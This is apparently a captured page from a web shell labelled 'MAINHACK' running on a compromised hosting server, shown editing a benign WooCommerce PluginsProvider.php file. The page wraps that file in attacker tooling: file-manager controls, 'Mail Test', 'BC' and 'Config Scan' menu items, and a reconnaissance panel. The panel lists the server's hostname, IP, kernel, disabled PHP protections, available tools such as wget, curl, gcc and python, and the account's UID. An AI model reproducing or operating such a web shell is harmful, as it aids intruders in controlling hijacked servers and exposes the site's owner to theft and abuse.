[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PluginsProvider.php
<?php /** * A provider for getting access to plugin queries. */ namespace Automattic\WooCommerce\Admin\PluginsProvider; defined( 'ABSPATH' ) || exit; use Automattic\WooCommerce\Admin\PluginsProvider\PluginsProviderInterface; use Automattic\WooCommerce\Admin\PluginsHelper; /** * Plugins Provider. * * Uses the live PluginsHelper. */ class PluginsProvider implements PluginsProviderInterface { /** * The deactivated plugin slug. * * @var string */ private static $deactivated_plugin_slug = ''; /** * Get an array of active plugin slugs. * * @return array */ public function get_active_plugin_slugs() { return array_filter( PluginsHelper::get_active_plugin_slugs(), function( $p ) { return $p !== self::$deactivated_plugin_slug; } ); } /** * Set the deactivated plugin. This is needed because the deactivated_plugin * hook happens before the option is updated which means that getting the * active plugins includes the deactivated plugin. * * @param string $plugin_path The path to the plugin being deactivated. */ public static function set_deactivated_plugin( $plugin_path ) { self::$deactivated_plugin_slug = explode( '/', $plugin_path )[0]; } /** * Get plugin data. * * @param string $plugin Path to the plugin file relative to the plugins directory or the plugin directory name. * * @return array|false */ public function get_plugin_data( $plugin ) { return PluginsHelper::get_plugin_data( $plugin ); } /** * Get the path to the plugin file relative to the plugins directory from the plugin slug. * * E.g. 'woocommerce' returns 'woocommerce/woocommerce.php' * * @param string $slug Plugin slug to get path for. * * @return string|false */ public function get_plugin_path_from_slug( $slug ) { return PluginsHelper::get_plugin_path_from_slug( $slug ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.2 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252